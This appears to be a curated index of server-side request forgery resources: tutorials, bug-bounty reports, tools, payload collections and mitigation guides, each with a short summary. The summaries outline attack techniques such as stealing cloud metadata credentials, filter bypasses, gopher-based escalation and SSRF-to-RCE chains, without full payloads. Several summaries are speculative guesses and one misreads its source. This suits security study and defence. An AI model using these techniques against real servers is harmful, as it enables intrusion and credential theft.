| 2025-08-14 2025 | What is SSRF (server-side request forgery)? | Tutorial & examples | Snyk Learn beginner 7 min read | Tutorial on Server-Side Request Forgery (SSRF) vulnerabilities, detailing how attackers can make arbitrary outbound requests from a server to access internal resources or cloud metadata. It demonstrates exploiting SSRF in a social app by reaching localhost and the AWS metadata endpoint (169.254.169.254), and discusses pivoting into internal networks, referencing CVE-2021-26084. The tutorial also covers prevention techniques like allowlisting and reconsidering dynamic request needs, noting SSRF's inclusion in the OWASP Top 10. |
| 2025-08-14 2025 | CWE - CWE-918: Server-Side Request Forgery (SSRF) (4.15) beginner | CWE-918 is a Common Weakness Enumeration entry that addresses Server-Side Request Forgery (SSRF). SSRF is a vulnerability where an attacker can manipulate a server into making unintended requests, potentially leading to unauthorized access or data leakage. CWE-918 provides information and guidance on how to identify and mitigate SSRF vulnerabilities to enhance the security of web applications and servers. |
| 2025-08-14 2025 | SSRF in https://couriers.indrive.com/api/file-storage intermediate | Program: inDrive Severity: high Weakness: Server-Side Request Forgery (SSRF) ## Summary: SSRF in ` url ` parameter in https://couriers.indrive.com/api/file-storage ## Steps To Reproduce: I will tr... → hackerone.com |
| 2025-08-14 2025 | (509) Exploit Server-Side Request Forgery SSRF POC | Find and Exploit Serve intermediate | The content appears to be about exploiting Server-Side Request Forgery (SSRF) through a proof of concept (POC). It likely discusses finding and exploiting vulnerabilities related to SSRF. The title suggests a focus on demonstrating how SSRF can be used to manipulate server requests for malicious purposes. |
| 2025-08-14 2025 | (509) Find and Exploit Server-Side Request Forgery (SSRF) Using Burp Suite intermediate | The content is about utilizing Burp Suite to discover and exploit Server-Side Request Forgery (SSRF) vulnerabilities. SSRF allows attackers to make requests on behalf of the server, potentially accessing sensitive data or services. Burp Suite, a popular web vulnerability scanner, can help identify SSRF vulnerabilities in web applications, enabling security professionals to address and mitigate these risks. By understanding how SSRF works and using tools like Burp Suite, security experts can enhance the protection of web applications against potential exploits. |
| 2025-08-14 2025 | SSRF EXPLOITATION: FILE DISCLOSURE | 2023 | BUG BOUNTY intermediate | The content appears to focus on SSRF (Server-Side Request Forgery) exploitation specifically related to file disclosure. It seems to be related to a bug bounty program in the year 2023. The content likely discusses vulnerabilities and techniques related to exploiting SSRF for gaining unauthorized access to files. |
| 2025-08-14 2025 | Penetration Testing for Server-Side Request Forgery (SSRF) in E-commerce Pl intermediate 6 min read | Walkthrough detailing Server-Side Request Forgery (SSRF) penetration testing techniques for e-commerce platforms. It explains how SSRF attacks exploit manipulated requests to access internal or external resources, leading to data breaches, network mapping, and potential remote code execution. The walkthrough outlines essential steps including scope definition, threat modeling, vulnerability scanning, manual testing, and exploitation, emphasizing the importance of input validation and network segmentation for mitigation. → securityboulevard.com |
| 2025-08-14 2025 | Azure SSRF Metadata intermediate 11 min read | Library detailing Azure SSRF techniques that target the Instance Metadata Service (IMDS), WireServer, and HostGAPlugin, often by exploiting inconsistent HTTP header checks. The article highlights how attackers can leverage these vulnerabilities to access sensitive VM configuration details, service account credentials, and potentially perform Person-in-the-Middle (PITM) attacks via Shared Access Signature (SAS) URLs, despite existing network access restrictions and security controls. |
| 2025-08-14 2025 | AppSec Tales XVII | SSRF beginner | The content is titled "AppSec Tales XVII | SSRF" and likely discusses security vulnerabilities related to Server-Side Request Forgery (SSRF) in web applications. SSRF is a type of attack where an attacker can manipulate a web application to make requests on their behalf, potentially accessing internal systems or performing unauthorized actions. This content may delve into real-world examples, mitigation strategies, or case studies related to SSRF vulnerabilities in application security. |
| 2025-08-14 2025 | “The future of SSRF attacks” Machine learning and AI-based exploitation advanced | The content discusses the future of Server-Side Request Forgery (SSRF) attacks, focusing on the utilization of machine learning and artificial intelligence for exploitation. This indicates a shift towards more sophisticated and automated methods for carrying out SSRF attacks. The integration of these advanced technologies suggests a potential increase in the complexity and effectiveness of SSRF attacks in the future. |
| 2025-08-14 2025 | “SSRF to RCE” A case study in exploiting chained vulnerabilities advanced | The content discusses a case study involving exploiting chained vulnerabilities from Server-Side Request Forgery (SSRF) to Remote Code Execution (RCE). It likely explores how attackers can leverage SSRF vulnerabilities to ultimately achieve RCE, highlighting the importance of understanding and addressing such vulnerabilities in cybersecurity. |
| 2025-08-14 2025 | “Bypassing SSRF protection measures” Techniques for evading WAFs and input advanced | The content discusses techniques for bypassing Server-Side Request Forgery (SSRF) protection measures, focusing on evading Web Application Firewalls (WAFs) and input restrictions. It likely delves into methods that can be used to circumvent security measures designed to prevent SSRF attacks, potentially highlighting vulnerabilities and strategies to exploit them. The content may provide insights into how attackers can manipulate input to bypass security controls and gain unauthorized access to sensitive information or resources. |
| 2025-08-14 2025 | “SSRF hunting in the cloud” Exploiting misconfigured services in cloud envi intermediate | The content discusses the exploitation of misconfigured services in cloud environments through Server-Side Request Forgery (SSRF) hunting. This involves identifying and leveraging vulnerabilities in cloud services to gain unauthorized access. The focus is on exploiting SSRF vulnerabilities in cloud environments to access internal systems or sensitive data. By detecting and exploiting misconfigurations, attackers can potentially compromise cloud infrastructure and services. The article likely provides insights into the techniques, risks, and implications of SSRF hunting in cloud environments. |
| 2025-08-14 2025 | Exploring the SSRF attack surface intermediate | The content is focused on exploring the SSRF (Server-Side Request Forgery) attack surface. SSRF is a type of security vulnerability that allows an attacker to manipulate a server into making unauthorized requests. By exploring the SSRF attack surface, individuals can better understand how these attacks work and how to protect against them. This type of exploration likely involves identifying potential entry points, understanding the impact of SSRF attacks, and implementing security measures to mitigate the risk of exploitation. |
| 2025-08-14 2025 | What is SSRF? (Portswigger – Lab: Basic SSRF against the local server) beginner 3 min read | Library for Server-Side Request Forgery (SSRF) attacks, focusing on exploitation techniques and mitigation. This resource details how SSRF vulnerabilities arise from insufficient request filtering and package handling, enabling attackers to bypass firewalls, IP checks, and authentication. Practical examples demonstrate using Burp Suite to manipulate `stockApi` parameters, access local resources like `/admin`, and perform actions such as deleting users via modified GET requests. It also highlights the utility of Portswigger's laboratories for hands-on practice with SSRF scenarios. |
| 2025-08-14 2025 | SSRF vulnerabilities and where to find them beginner 6 min read | Guide to Server-Side Request Forgery (SSRF) vulnerabilities, explaining how they occur when applications fetch user-supplied URLs. It details common locations such as webhook integrations and file imports, and highlights parameter names often targeted, referencing the HUNT Burp Suite extension. The guide also covers bypassing protections using techniques like DNS rebinding, HTTP redirects, and non-standard IP notations, and mentions the DEF CON talk on exploiting SSRF through PDF generators. → labs.detectify.com |
| 2025-08-14 2025 | ssrf | OSCP Notes beginner 3 min read | Notes on Server-Side Request Forgery (SSRF) detail how attackers can force applications to make HTTP requests to arbitrary domains. This can be used to target the server itself (e.g., `localhost`), other internal systems (e.g., `192.168.0.68`), or external services. The notes cover bypassing blacklist filters using alternative IP representations, custom domains resolving to `127.0.0.1`, and string obfuscation. Whitelist bypass techniques include embedding credentials, using the `#` character, leveraging DNS hierarchy, and URL encoding. Exploiting open redirects and blind SSRF via out-of-band techniques like `spoofed.burpcollaborator.net` are also discussed, along with SSRF via the Referer header. |
| 2025-08-14 2025 | SSRF attacks explained and how to defend against them | CSO Online beginner 6 min read | Reference detailing Server-Side Request Forgery (SSRF) attacks, explaining how attackers trick servers into unauthorized requests. It distinguishes SSRF from CSRF, highlighting SSRF's impact on the web server itself, citing the Capital One breach and Microsoft Exchange CVEs (like CVE-2021-26855) as examples. The reference differentiates basic SSRF, where data is returned, from blind SSRF, which focuses on performing actions. Mitigation strategies include restricting protocols, using allowlists over denylists, and never blindly trusting user input, especially for URL parameters. → csoonline.com |
| 2025-08-14 2025 | Exfiltrated, Signed, Delivered – What Can Go Wrong When an Amazon Elastic C intermediate 7 min read | Library for demonstrating a technique leveraging Server-Side Request Forgery (SSRF) on Amazon EC2 instances to trigger signed AWS service calls. This library, integrated into Tenable's CNAPPgoat, allows experimentation with exfiltrated credentials and Stephen Bradshaw's `aws_url_signer` to generate signed URLs. The scenario exploits a CVE-2023-45284 vulnerability in `parse-url` within a Docker container, demonstrating how SSRF can be used to mask legitimate-seeming calls from within the instance, bypassing standard detection mechanisms like Amazon GuardDuty and resource-based policies. |
| 2025-08-14 2025 | Server-side request forgery (SSRF) in Web App Penetration Testing | 2023 intermediate | The content title mentions "Server-side request forgery (SSRF) in Web App Penetration Testing | 2023." It suggests a focus on SSRF vulnerabilities within web applications during penetration testing in the year 2023. This indicates a specific interest in exploring and addressing security risks associated with SSRF attacks in web applications as part of a comprehensive testing approach. → cyberw1ng.medium.com |
| 2025-08-14 2025 | NucleiFuzzer - Powerful Automation Tool For Detecting XSS, SQLi, SSRF, Open intermediate | "NucleiFuzzer is an automation tool designed to detect vulnerabilities like XSS, SQLi, SSRF, and Open. It offers powerful capabilities for automated security testing." → kitploit.com |
| 2025-08-14 2025 | Exploiting Non-Cloud SSRF for More Fun & Profit | by Basavaraj Banakar | In intermediate | The content appears to focus on exploiting Non-Cloud Server-Side Request Forgery (SSRF) for increased enjoyment and financial gain. It is likely a technical article or presentation by Basavaraj Banakar that delves into the methods and implications of leveraging SSRF vulnerabilities outside of cloud environments. The content may provide insights into how SSRF can be used for malicious purposes or for ethical hacking to uncover security weaknesses. It seems to aim at educating readers on the potential risks and rewards associated with exploiting SSRF vulnerabilities in non-cloud settings. → infosecwriteups.com |
| 2025-08-14 2025 | SSRF vulnerabilities and where to find them beginner | The content briefly mentions SSRF vulnerabilities and where to find them. Server-Side Request Forgery (SSRF) vulnerabilities occur when an attacker can manipulate a web application to make requests on their behalf, potentially accessing internal systems or performing malicious actions. These vulnerabilities can be found through security testing, code reviews, and automated scanning tools. It is crucial for developers and security professionals to be aware of SSRF vulnerabilities and take steps to mitigate them to protect against potential attacks. |
| 2025-08-14 2025 | Attacking APIs with SSRF and how to prevent it intermediate | The content discusses attacking APIs using Server-Side Request Forgery (SSRF) and strategies to prevent such attacks. SSRF involves manipulating a server to make requests on behalf of an attacker, potentially leading to unauthorized data access or service disruption. Preventive measures include input validation, restricting outbound traffic, using whitelists, and implementing secure coding practices. Understanding SSRF vulnerabilities and implementing protective measures can help safeguard APIs from exploitation. |
| 2025-08-14 2025 | Blind SSRF - The Tray intermediate | The content provided is very brief and lacks specific information or context. It seems to refer to a topic or concept related to Blind SSRF (Server-Side Request Forgery) called "The Tray." More details or additional context would be needed to provide a more comprehensive summary. |
| 2025-08-14 2025 | Breaking Down SSRF on PDF Generation: A Pentesting Guide intermediate | The content is titled "Breaking Down SSRF on PDF Generation: A Pentesting Guide." It likely discusses the topic of Server-Side Request Forgery (SSRF) in the context of PDF generation and provides a guide for penetration testing related to this issue. The focus is on understanding and potentially exploiting SSRF vulnerabilities in PDF generation processes for security testing purposes. → infosecwriteups.com |
| 2025-08-14 2025 | Securing PDF Generators Against SSRF Vulnerabilities beginner | The content discusses the importance of securing PDF generators against Server-Side Request Forgery (SSRF) vulnerabilities. SSRF vulnerabilities can be exploited by attackers to access internal systems or resources through manipulated requests. By implementing security measures, such as input validation, whitelisting, and proper access controls, PDF generators can be protected from SSRF attacks. It is crucial for developers to be aware of these vulnerabilities and take proactive steps to secure their PDF generators to prevent unauthorized access and potential data breaches. |
| 2025-08-14 2025 | My First Case of SSRF Using Dirsearch | by Mba-oji Chiagoziem | Medium beginner | The content appears to be a personal account titled "My First Case of SSRF Using Dirsearch" by Mba-oji Chiagoziem on Medium. The author likely shares their experience encountering a Server-Side Request Forgery (SSRF) vulnerability while using the tool Dirsearch. The article may delve into the details of how the SSRF vulnerability was discovered, the implications of such a vulnerability, and potentially offer insights or lessons learned from the experience. |
| 2025-08-14 2025 | raesene/k8s_ssrf_portscanner intermediate 3 min read | Tool for port scanning Kubernetes API servers via SSRF. This Proof of Concept leverages validating admission webhooks to make the API server request a specified URL or service object, using returned errors to indicate port accessibility from the API server's perspective. It supports targeting specific hosts and ports, CIDR ranges, and custom namespaces, offering a basic scanning capability within managed Kubernetes environments. |
| 2025-08-14 2025 | SSRF Series | HideAndSec beginner 6 min read | Library covering Server-Side Request Forgery (SSRF) vulnerabilities. It details SSRF basics, techniques for detection and exploitation using protocols like `gopher://` and `file://`, and various bypass methods for IP filtering. The library also outlines prevention strategies such as disabling unwanted protocols and using URL whitelists. Examples provided include manipulating cloud instance metadata and exploiting Redis on internal networks. |
| 2025-08-14 2025 | Mitigating SSRF in 2023 beginner 12 min read | Library for understanding and mitigating Server-Side Request Forgery (SSRF) vulnerabilities. It highlights common SSRF attack vectors, exemplified by Python Flask applications, and details the ineffectiveness of incomplete allowlisting and blocklisting techniques, including bypasses via URL parsing tricks, DNS resolution variations, and time-of-check to time-of-use (TOCTTOU) flaws like HTTP redirects and DNS rebinding. |
| 2025-08-14 2025 | SSRF Cross Protocol Redirect Bypass · Doyensec's Blog intermediate 5 min read | Writeup detailing a Server-Side Request Forgery (SSRF) vulnerability, CVE-2023-28155, found in the `request` library. The bypass technique involves exploiting cross-protocol redirects, where a malicious server redirects an HTTPS request to an HTTP endpoint, circumventing SSRF filters that incorrectly reset the agent during protocol switches. The article also examines protections in `node-fetch` and `axios`, and includes a Semgrep rule to detect misconfigurations in Axios. → blog.doyensec.com |
| 2025-08-14 2025 | https://medium.com/@rajqureshi07/the-story-of-how-i-was-able-to-chain-ssrf-with-command-injection-vulnerability-ef31feb30ea9 advanced | The content discusses a security researcher's experience chaining Server-Side Request Forgery (SSRF) with Command Injection vulnerabilities to gain control over a target system. By exploiting these vulnerabilities in tandem, the researcher was able to execute commands on the server and escalate their access. The article provides a detailed account of the steps taken to identify and exploit these vulnerabilities, highlighting the importance of understanding how different security flaws can be combined to achieve a more significant impact on a system's security. |
| 2025-08-14 2025 | top25-parameter/ssrf-parameters.txt at master · lutfumertceylan/top25-param intermediate | The content refers to a file named "ssrf-parameters.txt" in a GitHub repository called "top25-parameter" owned by a user named "lutfumertceylan." The file seems to contain a list of parameters related to Server-Side Request Forgery (SSRF) vulnerabilities. It appears to be part of a project or repository focusing on the top 25 parameters associated with SSRF attacks. |
| 2025-08-14 2025 | pentest-book/ssrf.md at master · six2dez/pentest-book beginner 2 min read | Library of SSRF exploit payloads and bypass techniques, including URL variations, IP address encoding, and diverse protocol handlers like Gopher, SFTP, Dict, TFTP, file, and LDAP. It also features examples for bypassing filters with 301/30x redirects, JSON, CSV, XML, PDF, and custom responses, alongside methods for exploiting blind SSRF via video uploads and PDF rendering, and tools like Gopherus and SSRFire. |
| 2025-08-14 2025 | Understanding and Testing for SSRF | Cybrary beginner | The content titled "Understanding and Testing for SSRF" on Cybrary likely covers the topic of Server-Side Request Forgery (SSRF). This type of vulnerability allows attackers to manipulate a server into making unauthorized requests on their behalf. The content probably delves into explaining what SSRF is, how it works, and methods for testing systems to identify and mitigate this security risk. It may also provide insights on how to prevent SSRF attacks and enhance the security posture of systems and applications. |
| 2025-08-14 2025 | Server-Side Request Forgery Attack Explained: Definition, Types, Protection beginner 6 min read | Library detailing Server-Side Request Forgery (SSRF) attacks, explaining their definition and how they bypass firewalls to access internal systems, sensitive data, or cloud metadata. It covers the three attack types: blind, semi-blind, and non-blind SSRF, and lists prevention techniques including DNS filtering, zero-trust policies, and network segmentation. The library also mentions protocols and schemes like `gopher://`, `file:/`, and `phar:/` often exploited in SSRF. |
| 2025-08-14 2025 | Introduction to Server Side Request Forgery (SSRF) beginner | The content briefly introduces Server Side Request Forgery (SSRF), a type of web security vulnerability. SSRF occurs when an attacker manipulates a web application to make unauthorized requests to other servers. This can lead to data breaches, server exploitation, and unauthorized access to sensitive information. Understanding SSRF is crucial for web developers and security professionals to prevent such attacks and protect systems from potential vulnerabilities. |
| 2025-08-14 2025 | URL Format Bypass - HackTricks intermediate 6 min read | Reference detailing numerous URL format bypass techniques for SSRF, including localhost payloads with various encodings (decimal, octal, hex, mixed), domain confusion payloads, DNS rebind techniques leveraging tools like Singularity, and backslash trick exploits. It also covers domain parser bypasses and domain confusion payloads, mentioning the Burp extension Burp-Encode-IP and the recollapse tool for generating bypass variations. → book.hacktricks.xyz |
| 2025-08-14 2025 | Server-Side Request Forgery(SSRF) demo on CYBERTALENTS | by Muhammad sani N intermediate | The content is about a Server-Side Request Forgery (SSRF) demonstration conducted by Muhammad Sani N on CYBERTALENTS. It likely involves showcasing how SSRF vulnerabilities can be exploited to manipulate a server into making unintended requests, potentially leading to unauthorized access or data leakage. This demo could serve as a learning opportunity for cybersecurity enthusiasts to understand and prevent such security risks in web applications. |
| 2025-08-14 2025 | SSRF Series — The Accidental SSRF. The time I stumbled on an SSRF accidentl beginner | The content is part of an SSRF series discussing an accidental Server-Side Request Forgery (SSRF) incident. It highlights an unexpected encounter with an SSRF vulnerability. |
| 2025-08-14 2025 | Server-Side Request Forgery (SSRF) involves an attacker tricking a server i beginner | Server-Side Request Forgery (SSRF) is a type of attack where an attacker manipulates a server into making unintended requests on their behalf. This can lead to unauthorized access to internal resources, sensitive data exposure, and potential security breaches. It is crucial for organizations to implement security measures to prevent SSRF attacks, such as input validation, restricting server permissions, and using secure coding practices to mitigate this vulnerability effectively. |
| 2025-08-14 2025 | How Orca Found Server-Side Request Forgery (SSRF) Vulnerabilities in Four D news 6 min read | Writeup detailing four Server-Side Request Forgery (SSRF) vulnerabilities discovered in Azure API Management, Azure Functions, Azure Machine Learning, and Azure Digital Twins. Two of these vulnerabilities were unauthenticated, allowing exploitation without an Azure account and enabling attackers to scan internal ports, discover new services, and access sensitive information. While Microsoft's mitigations, like the X-IDENTITY-HEADER, prevented access to IMDS endpoints, the identified SSRF flaws still posed significant risks. Microsoft has since remediated all reported issues. |
| 2025-08-14 2025 | https://github.com/yeswehack/vulnerable-code-snippets beginner 2 min read SQLi XSS | Library of vulnerable code snippets designed for practicing application security analysis. This collection features various vulnerabilities, including broken access control (CWE-284), SQL injection (CWE-89), cross-site scripting (CWE-79), and path traversal (CWE-35), presented in multiple programming languages. Each snippet includes a Docker setup for safe, isolated execution, allowing users to learn code analysis techniques by actively engaging with real-world examples. |
| 2025-08-14 2025 | GitHub - lutfumertceylan/top25-parameter: For basic researches, top 25 vuln beginner | Library listing 25 common vulnerability parameters for automation or manual recon, sourced from OSINT and various articles. It categorizes parameters by vulnerability type, including XSS, SSRF, LFI, SQLi, RCE, and Open Redirect, drawing inspiration from work by Jason Haddix and HUNT. |
| 2025-08-14 2025 | Server-Side Request Forgery (SSRF)- PortSwigger Labs | by Michael Koczwara beginner | The content is about Server-Side Request Forgery (SSRF) and is part of PortSwigger Labs. It likely discusses the concept of SSRF, which is a type of vulnerability that allows attackers to manipulate server requests from the server side. The article may cover how SSRF attacks work, their impact on security, and potential mitigation strategies. It is written by Michael Koczwara and is likely to provide insights and guidance on understanding and addressing SSRF vulnerabilities in web applications. |
| 2025-08-14 2025 | Let’s Understand SSRF vulnerability | by Security Lit Limited | InfoSec Wri beginner | The content appears to focus on understanding Server-Side Request Forgery (SSRF) vulnerability, likely discussing its implications in cybersecurity. It is created by Security Lit Limited, a company specializing in information security. The article may delve into the technical aspects of SSRF, its risks, and potential mitigation strategies. It aims to educate readers on this specific security threat commonly found in web applications. |
| 2025-08-14 2025 | ??Roadmap to Cybersecurity in 2022, Full-Read SSRF, IDOR in GraphQL, GCP P beginner IDOR | The content discusses a roadmap to cybersecurity in 2022, highlighting topics like Full-Read SSRF, IDOR in GraphQL, and GCP P. It suggests a plan or guide for enhancing cybersecurity practices in the upcoming year, focusing on areas such as server-side request forgery (SSRF), insecure direct object references (IDOR) in GraphQL, and Google Cloud Platform (GCP) security measures. The content aims to provide insights and strategies for individuals or organizations looking to strengthen their cybersecurity posture in 2022. |
| 2025-08-14 2025 | ?? $600k Bounty, Jetty Features, Response Queue Poisoning, Bypass SSRF Pro advanced | The content mentions a $600k bounty, Jetty features, response queue poisoning, and bypassing SSRF protection. It seems to highlight significant findings or developments related to cybersecurity, possibly in the context of bug bounties, web server features, and security vulnerabilities like response queue poisoning and SSRF bypass techniques. |
| 2025-08-14 2025 | Exploiting XXE for SSRF. Retrieving IAM credentials of EC2… | by Gupta Bles intermediate XXE | The content discusses exploiting XML External Entity (XXE) vulnerabilities to achieve Server-Side Request Forgery (SSRF) and retrieve Identity and Access Management (IAM) credentials of Amazon EC2 instances. The focus is on the technique of leveraging XXE vulnerabilities to manipulate XML input and trigger SSRF attacks, leading to the extraction of sensitive IAM credentials. This method highlights the importance of understanding and securing against XXE vulnerabilities to prevent unauthorized access to critical resources like IAM credentials on cloud platforms such as Amazon EC2. |
| 2025-08-14 2025 | Top 25 Server-Side Request Forgery (SSRF) Bug Bounty Reports | by Cristian intermediate | The content is titled "Top 25 Server-Side Request Forgery (SSRF) Bug Bounty Reports" by Cristian. It likely discusses 25 notable cases of SSRF vulnerabilities found through bug bounty programs. SSRF is a security vulnerability that allows attackers to manipulate a server into making unauthorized requests on their behalf. The article may highlight the impact of these vulnerabilities and the importance of addressing SSRF issues to enhance cybersecurity. |
| 2025-08-14 2025 | A Pentester’s Guide to Server Side Request Forgery (SSRF) | by Busra Demir beginner | The content titled "A Pentester’s Guide to Server Side Request Forgery (SSRF)" by Busra Demir likely provides insights and guidance on understanding and dealing with Server Side Request Forgery (SSRF) vulnerabilities from a penetration tester's perspective. It may cover the detection, exploitation, and mitigation of SSRF issues to enhance the security of web applications. The article is expected to offer practical advice and techniques for identifying and addressing SSRF risks in server-side code to prevent unauthorized access and data leakage. |
| 2025-08-14 2025 | AWS internal metadata accessed through SSRF by Chaining an Open Redirect bu advanced | The content discusses a security vulnerability where AWS internal metadata is accessed through Server-Side Request Forgery (SSRF) by exploiting an Open Redirect vulnerability. This technique allows an attacker to manipulate requests to access sensitive information stored in AWS metadata. It highlights the importance of securing against SSRF attacks and the potential risks associated with chaining vulnerabilities like Open Redirect. |
| 2025-08-14 2025 | Finding SSRF via HTML Injection inside a PDF file on AWS EC2 | by Riyaz Wal intermediate | The content discusses the discovery of Server-Side Request Forgery (SSRF) through HTML injection within a PDF file hosted on Amazon Web Services (AWS) Elastic Compute Cloud (EC2) by Riyaz Wal. This vulnerability highlights the potential security risks associated with SSRF and how it can be exploited through unexpected vectors like PDF files. It underscores the importance of thorough security testing and mitigation strategies to prevent such attacks on cloud-based platforms like AWS EC2. |
| 2025-08-14 2025 | Escalating SSRF to Accessing all user PII information by aws metadata | by intermediate | The content appears to discuss escalating SSRF (Server-Side Request Forgery) attacks to gain access to all user Personally Identifiable Information (PII) through AWS metadata. This type of attack involves manipulating a server to make requests on behalf of the attacker, potentially leading to unauthorized access to sensitive data. The article likely delves into the technical details of how SSRF vulnerabilities can be exploited to access PII stored in AWS metadata, highlighting the importance of securing systems against such attacks. |
| 2025-08-14 2025 | Chaining an Blind SSRF bug to Get an RCE | by Santosh Kumar Sha (@killmonga advanced RCE | The content discusses chaining a Blind Server-Side Request Forgery (SSRF) bug to achieve Remote Code Execution (RCE). The author, Santosh Kumar Sha (@killmonga), likely shares insights on exploiting vulnerabilities to escalate from SSRF to RCE. This process involves leveraging SSRF to manipulate server-side requests and ultimately execute arbitrary code on the target system. The content may provide a detailed explanation of the steps involved in this attack scenario. |
| 2025-08-14 2025 | Story Behind Sweet SSRF.. Persistence is the Key to Success.? | by Rohit So beginner | The content seems to discuss the story behind achieving success through persistence, possibly related to Sweet SSRF. The key message is likely to emphasize the importance of perseverance in reaching goals. The author, Rohit So, may share insights or personal experiences to highlight how persistence plays a crucial role in achieving success. |
| 2025-08-14 2025 | Story of a really cool SSRF bug.. Hello all! My name is Vedant, also… | by intermediate | The content appears to be a story about a significant Server-Side Request Forgery (SSRF) bug encountered by someone named Vedant. The bug is described as "really cool," suggesting it was interesting or unique. However, the details of the bug and its impact are not provided in the summary. |
| 2025-08-14 2025 | How Github recon help me to find NINE FULL SSRF Vulnerability with AWS meta intermediate | The content discusses how utilizing Github reconnaissance techniques helped uncover nine significant Server-Side Request Forgery (SSRF) vulnerabilities associated with AWS metadata. This highlights the effectiveness of conducting thorough recon activities on Github to identify security weaknesses, particularly in relation to SSRF vulnerabilities within AWS infrastructure. |
| 2025-08-14 2025 | Finding SSRF BY Full Automation. Hi, everyone | by Santosh Kumar Sha (@kill intermediate | The content appears to be about finding Server-Side Request Forgery (SSRF) vulnerabilities through full automation. The author, Santosh Kumar Sha, discusses techniques or tools related to SSRF detection. The title suggests a focus on automation in the process of identifying SSRF vulnerabilities. |
| 2025-08-14 2025 | Intro to SSRF. And how your firewall failed you. | by Vickie Li | Medium beginner | The content titled "Intro to SSRF. And how your firewall failed you" by Vickie Li on Medium introduces SSRF (Server-Side Request Forgery) and discusses how firewalls can be ineffective in preventing this type of attack. SSRF allows attackers to manipulate a server into making unauthorized requests, bypassing traditional security measures like firewalls. The article likely delves into the concept of SSRF, its implications for cybersecurity, and how organizations can better protect against such threats. |
| 2025-08-14 2025 | Vimeo upload function SSRF. TL;DR | by Sayed Abdelhafiz | Medium intermediate | The content seems to discuss a potential Server-Side Request Forgery (SSRF) vulnerability related to Vimeo's upload function. This type of vulnerability could allow an attacker to manipulate the server into making unauthorized requests, potentially leading to data breaches or other security issues. It appears that the author, Sayed Abdelhafiz, has written about this topic on Medium. The focus is likely on raising awareness about this security risk and the importance of addressing such vulnerabilities to protect systems from exploitation. |
| 2025-08-14 2025 | Just Gopher It: Escalating a Blind SSRF to RCE for $15k — Yahoo Mail | by S advanced RCE | The content discusses escalating a Blind Server-Side Request Forgery (SSRF) vulnerability to Remote Code Execution (RCE) in Yahoo Mail, earning a reward of $15,000. The author shares their experience and techniques used to exploit the vulnerability, highlighting the importance of thorough testing and persistence in finding security flaws. The title "Just Gopher It" suggests a playful approach to tackling the challenge, emphasizing the need for creativity and determination in cybersecurity research. |
| 2025-08-14 2025 | Cloud SSRF beginner 13 min read | Reference detailing Cloud SSRF vulnerabilities, specifically focusing on AWS EC2 metadata endpoints. It explains how to exploit the EC2 metadata service (IMDSv1 and IMDSv2) to extract sensitive information like IAM role credentials, instance details, and network configurations. The entry also covers SSRF techniques for ECS and EKS environments, including accessing container credentials via `/v2/credentials/` and utilizing Pod Identity in EKS by reading environment variables and service account token files. → book.hacktricks.xyz |
| 2025-08-14 2025 | https://labs.detectify.com/2022/09/23/ssrf-vulns-and-where-to-find-them/ intermediate 6 min read | Guide to Server-Side Request Forgery (SSRF) vulnerabilities, detailing their nature, common discovery locations like webhook integrations and file imports, and effective bypass techniques. The guide highlights tools such as the HUNT Burp Suite extension and discusses exploitation methods including DNS rebinding, HTTP redirects, and non-standard IP notations, referencing work by Nahamsec and Cody Brocious concerning PDF generators. It differentiates between blind, partial-blind, and non-blind SSRF, and provides common parameter names to look for during testing. → labs.detectify.com |
| 2025-08-14 2025 | PHP SSRF Techniques. How to bypass filter_var()… | by theMiddle | secjuice™ intermediate | The content discusses PHP Server-Side Request Forgery (SSRF) techniques and how to bypass the filter_var() function. It likely delves into methods to manipulate input validation functions in PHP to exploit SSRF vulnerabilities. The author may provide insights on how attackers can circumvent security measures to perform SSRF attacks. The focus is on understanding and potentially exploiting weaknesses in PHP applications related to SSRF. |
| 2025-08-14 2025 | How i found an SSRF in Yahoo! Guesthouse (Recon Wins) | by Th3G3nt3lman | M intermediate | The content appears to be a blog post or article titled "How I found an SSRF in Yahoo! Guesthouse" by an author named Th3G3nt3lman. The focus seems to be on discovering a Server-Side Request Forgery (SSRF) vulnerability in Yahoo! Guesthouse through reconnaissance efforts. The author likely shares their experience, methods used, and the importance of reconnaissance in identifying security vulnerabilities. |
| 2025-08-14 2025 | Reading Internal Files using SSRF vulnerability | by Neeraj Sonaniya | Medi intermediate | The content discusses the exploitation of Server-Side Request Forgery (SSRF) vulnerability to read internal files. The author, Neeraj Sonaniya, explores how SSRF can be used to access sensitive information stored on a server. This vulnerability allows an attacker to manipulate a server into making requests on their behalf, potentially leading to unauthorized access to internal files. The article likely provides insights into the risks associated with SSRF vulnerabilities and how they can be mitigated to protect against unauthorized data access. |
| 2025-08-14 2025 | qazbnm456/awesome-web-security beginner 23 min read XSS | Library of curated web security resources, covering techniques and tools for XSS, SQL Injection, Command Injection, SSRF, XXE, CSRF, Clickjacking, and more. It includes guides on specific vulnerabilities like CVE-2019-7609 in Kibana, alongside numerous digests, forums, and practical examples from sources like PortSwigger, Google, and @swisskyrepo, aiming to bolster penetration testing skills. |
| 2025-08-14 2025 | GitHub - bcoles/ssrf_proxy: SSRF Proxy facilitates tunneling HTTP communica intermediate 3 min read | Library for tunneling HTTP traffic through SSRF-vulnerable servers. SSRF Proxy formats client requests for vulnerable servers and parses their responses, enabling its use with browsers, proxychains, and scanning tools like sqlmap, nmap, dirb, and nikto. It also aids in blind SSRF time-based attacks, such as blind time-based SQL injection. |
| 2025-08-14 2025 | AppSecEU15-Server_side_browsing_considered_harmful.pdf intermediate | The content provided is the title of a document named "AppSecEU15-Server_side_browsing_considered_harmful.pdf." The title suggests that the document likely discusses the potential risks or negative implications associated with server-side browsing in the context of application security. It implies that server-side browsing may pose threats or vulnerabilities that could be harmful to the security of applications. The document may delve into the reasons why server-side browsing is considered detrimental and provide insights on how to mitigate these risks. |
| 2025-08-14 2025 | What is server-side request forgery (SSRF)? | Acunetix beginner 5 min read | Reference on Server-Side Request Forgery (SSRF) detailing its OWASP Top 10 classification and use in breaches like Capital One and MS Exchange. It explains how SSRF allows attackers to send crafted requests from a vulnerable back-end server, targeting internal systems or loopback interfaces. Techniques discussed include exploiting URL schemas like `file:///` and `dict://`, accessing cloud metadata such as AWS EC2, and potential escalation to RCE. Mitigation strategies involve whitelisting hostnames/IPs, proper input validation, disabling unused URL schemas, and enabling authentication on internal services. Detection relies on out-of-band scanning, with Acunetix utilizing AcuMonitor. → acunetix.com |
